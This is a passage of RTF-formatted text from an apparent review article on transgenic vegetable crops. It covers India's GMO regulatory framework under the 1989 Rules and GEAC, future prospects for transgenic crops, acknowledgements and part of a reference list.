 of r-DNA guidelines or violations under}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 EPA.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2297020\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
To act as nodal agency at District level to assess the}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
damage, if any, due to release of GMOs }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2297020\charrsid16345645 \tab \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 and to take on}{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 site control measures
\par }\pard \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid6632779\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2057115\charrsid16345645 Approval and prohibitions, etc. under Rules, 1989
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls62\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
No person shall import, export, transport, manufacture, process,}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 use or }{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645 \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 sell any GMOs, substances or }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2297020\charrsid16345645 \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 cells except with the}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 approval of the GEAC.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls63\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 
 Use of pathogenic organisms or GMOs or cells for research}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 \tab purpose shall 
be allowed under the }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2297020\charrsid16345645 \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 Notification, 1989 of the EPA
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls64\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  Any person operating or using GMOs for scale 
up or pilot}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 operations shall have to obtain }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid2297020\charrsid16345645 \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 permission from GEAC.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls65\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 Deliberate or unintentional release of GMOs not allowed.

\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}Production in which GMOs are generated or used shall not be}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid10050364\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645 \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 commenced except with the approval of }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid4015505\charrsid16345645 
\par }\pard \ltrpar\s3\ql \fi720\li720\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 GEAC.
\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10050364\charrsid16345645 
GEAC supervises the implementation of rules and guidelines}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 .
\par }\pard \ltrpar\s3\qj \fi720\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
GEAC carries out supervision through SBCC, DLC or any authorized person.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2297020\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
If orders are not complied, SBCC/DLC may take suitable measures at the expenses of the person who is responsible.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid10050364\charrsid16345645 In case of immediate interventions to prevent any damage, SBCC and DLC can take suitable measures and the expenses incurred will be recovered from the person responsible.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid747352\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 All approvals shall be for a period of 4 years at first instance renewable for 2 years at a time}{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid2297020\charrsid16345645 .}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10050364\charrsid16345645 
GEAC shall have powers to revoke approvals in case of: -
\par }\pard \ltrpar\s3\ql \li720\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 \tab a) }{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14890360\charrsid16345645 Any}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645  new information on harmful effects of GMOs.
\par \tab b) GMOs cause such damage to the environment as could not be}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14890360\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
envisaged when approval was given.
\par \tab c) }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid14890360\charrsid16345645 Non-compliance}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645  of any conditions stipulated by GEAC}{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 \tab \tab \tab \tab \tab 
\par }\pard \ltrpar\s3\qc \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs28 \ltrch\fcs0 \fs28\insrsid2057115\charrsid16345645 r-DNA GUIDELINES
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid2057115\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}\pard \ltrpar\s3\ql \fi-360\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls73\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid16345645 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645 Recombinant DNA Safety Guidelines - 1990
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid8210603 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 Revised Guideline}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid13370833 s}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  for Research in Transgenic Plan}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603 ts &amp; Guidelines for Toxicity, }{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603\charrsid16345645 Allergenicity}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid13370833 ,}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid13370833\charrsid16345645  Evaluation}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2057115\charrsid16345645  of Transgeni}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid4410557\charrsid16345645 c Seeds, Plants and Plant Parts-1998. }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid10050364\charrsid16345645 All activities involving GMOs and products thereof}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid10050364\charrsid16345645 are controlled activities under the Rules - 1989 of}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid10050364\charrsid16345645 Environment (Protection) Act (EPA-1986).}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
Roles of Competent Authorities under Rules -1989 are}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 well defined.
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid10050364\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}Biosafety guidelines prepared by the Government of}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid13370833 India are for}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid13370833\charrsid16345645 compl}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid13370833 y}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645  the Rules-1989 and are to generate}{\rtlch\fcs1 
\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid4015505\charrsid16345645   }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
required biosafety data on the GMOs and products thereof}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid809644\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
before their release in to environment.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid4015505\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f10\fs20\insrsid10050364\charrsid16345645 \loch\af10\dbch\af0\hich\f10 \&#039;6e\tab}}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 
The Rules-1989 to provide safe products to the society}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid4410557\charrsid16345645  }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 on the existing scientific}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid10050364\charrsid16345645  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid809644\charrsid16345645 \tab }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid10050364\charrsid16345645 knowledge}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid9579911\charrsid16345645 
\par }\pard \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\tx180\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 {\rtlch\fcs1 \af0\afs28 \ltrch\fcs0 \fs28\insrsid4943116\charrsid16345645 Future prospects}{
\rtlch\fcs1 \af0\afs28 \ltrch\fcs0 \fs28\insrsid9579911\charrsid16345645 :}{\rtlch\fcs1 \af0\afs28 \ltrch\fcs0 \fs28\insrsid4943116\charrsid16345645 
\par }\pard\plain \ltrpar\s25\qj \fi720\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Significant progress has been made in engineering crop plants for introduction of novel traits of agricultural, pharmaceutical and industrial value. The rate of increase in the area of cultivation of transgenic crops clearly indicates that agriculture in 
future will be dominated by transgenic crop varieties. Although transgenic tomato \&#039;93Flavr Savr\&#039;94
 was the first transgenic crop to be commercialized, presently soybean, maize, cotton and canola are the four major transgenic crops in cultivation. Progress in co
mmercialization of transgenic vegetable crops is still slow although a variety of transgenic vegetables have been field-tested. Among vegetable crops, the commercialization has been limited to insect- and virus-resistant potato, and tomato with improved s
h
elf life. One major limitation is that the public acceptance of genetically modified food is not wide spread even in developed countries. It is very important to spread the information about the safety and importance of transgenic crops. Transgenic crops 
a
re more relevant for developing countries already burdened with enormous population. In addition to meeting the demand for more food, there is an urgent need to reduce the chemical inputs in agriculture so as to preserve the environmental quality and prot
e
ct biodiversity. This would also lead towards the improvement of economic security of the resource-poor and small farmers. Transgenic vegetables will be of great benefit to alleviate human suffering in the third world. The battle against life threatening 
diseases such as cholera, hepatitis and }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11797115\charrsid16345645 diarrhea}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 will be easier to win by using engineered vegetables. Malnutrition can be overcome by vegetables improved for these specific traits. There is a need for technology and product transfer to developing countrie
s mediated by individuals and philanthropic organizations as has been done in the case of \&#039;93Golden rice\&#039;94. In addition, public research systems in developing countries need to intensify efforts to develop technologies of their own.
\par Some of the limitations in
 transgenic applications need to be resolved for wider application and acceptance of transgenic technology. Environmental risks such as cross-pollination with closely related wild relatives of the crop plants and effect of transgene products on human heal
t
h need to be assessed carefully on a case-by-case basis. Moreover, there are wide spread concerns about the use of antibiotic and herbicide resistance genes as selectable markers from the point of view of ecological and human safety. Use of alternate meth
o
ds to obtain marker free transgenic plants may enhance the public acceptance of transgenic crops. Development of binary vectors or mini-chromosomes for multiple gene transfer and improvement in transformation systems for vegetable crops may further increa
se our capability to introduce traits with long lasting value.
\par }\pard\plain \ltrpar\qj \li0\ri0\sb240\sa240\widctlpar\tx1815\tqc\tx4680\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\i\fs20\insrsid16393250\charrsid16345645 Acknowledgements: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16393250\charrsid16345645 
The leading author wish to thank the Head of Department of Vegetable Science and Director Experiment Station, G. B. Pant University of Agriculture and Technology, Pantnagar for
 providing necessary facilities during the preparation of this manuscript. He also extends his gracious gratitude to the Hon. Vice Chancellor, Birsa Agricultural University, Ranchi for granting study leave to per sue PhD Degree under faculty development s
cheme during which this manuscript was prepared.
\par }\pard\plain \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid803208 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \fs24\insrsid4943116\charrsid16345645 {\*\bkmkstart bibl001}{\*\bkmkend bibl001}References}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 \fs24\insrsid9579911\charrsid16345645 :}{\rtlch\fcs1 \af0\afs24 \ltrch\fcs0 
\fs24\insrsid6583173\charrsid16345645 
\par }\pard\plain \ltrpar\qj \fi-720\li720\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin720\itap0\pararsid803208 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 Artsaenko, O., B. Kettig, U. Fiedler, U. Conrad and K. D\&#039;fcring. 1998. Potato tubers as a biofactory for recombinant antibodies, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid11826098\charrsid16345645 Mol. Breed.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 4}{\rtlch\fcs1 \ab\af0\afs20 
\ltrch\fcs0 \b\fs20\insrsid11826098\charrsid16345645 :}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  313\endash 319
\par 
\par Carmi, N., Y. Salts, B. Dedicova, S. Shabtai and R. Barg. 2003. Induction of parthenocarpy in tomato via specific expression of the }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 rolB}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11826098\charrsid16345645  gene in the ovary, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Planta}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 
\ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 217}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  : 726\endash 735. 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13762621\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 Chakraborty, S., N. Chakraborty and A. Datta, 2000. Increased nutritive value of transgenic potato by expressing a non-allergenic seed albumin gene from }{\rtlch\fcs1 
\ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Amaranthus hypochondriacus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 , }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 
Proc. Natl. Acad. Sci. USA.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 97}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 
\b\fs20\insrsid11826098\charrsid16345645 :}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645   3724\endash 3729. 
\par 
\par Dai, Z., B.S. Hooker, D.B. Anderson and S.R. Thomas. 2000. Improved plant-based production of E1 endoglucanase using potato: expression optimization and tissue targeting, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 
Mol Breed.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 6}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 : 277
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\par Dalal, M., Ravi, G. Dani and P. Ananad Kumar. 2006}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid11826098\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 
 Current trends in the Engineering of Vegetable Crops. }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Scientia Horticulturae}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 .  }{\rtlch\fcs1 
\ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid11826098\charrsid16345645 107: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  215-225.}{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 
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\i\fs20\insrsid11826098\charrsid16345645 J. Agric. Food Chem.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 51}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 :  5695\endash 5702. 
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\par Donzella, G., A. Spena and G.L. Rotino. 2000. Transgenic parthenocarpic eggplants, superior germplasm for increased winter production, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Mol. Breed.}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 6: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  79\endash 86. 
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\par {\*\bkmkstart bib21}{\*\bkmkend bib21}Ducreux, L.M., W.L. Morris, P.E. Hedley, T. Shepherd, H.V.J. Davies, S. Mi}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid11826098\charrsid16345645 
llam and M.A. Taylor. 2005. Metabolic engineering of high carotenoid potato tubers containing enhanced levels of \&#039;e2-carotene and lutein, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 J. Exp. Bot.}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 56: }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  81\endash 89. 
\par {\*\bkmkstart bib22}{\*\bkmkend bib22}
\par Egnin, M. and C.S. Prakash. 1997. Transgenic sweet potato (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 Ipomoea batatas}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645 ) express
ing a synthetic storage protein gene exhibits high levels of total protein and essential amino acids, }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid11826098\charrsid16345645 In Vitro}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid11826098\charrsid16345645  }{\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \cs26\b\fs20\insrsid11826098\charrsid16345645 33:}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11826098\charrsid16345645  52A.
\par 
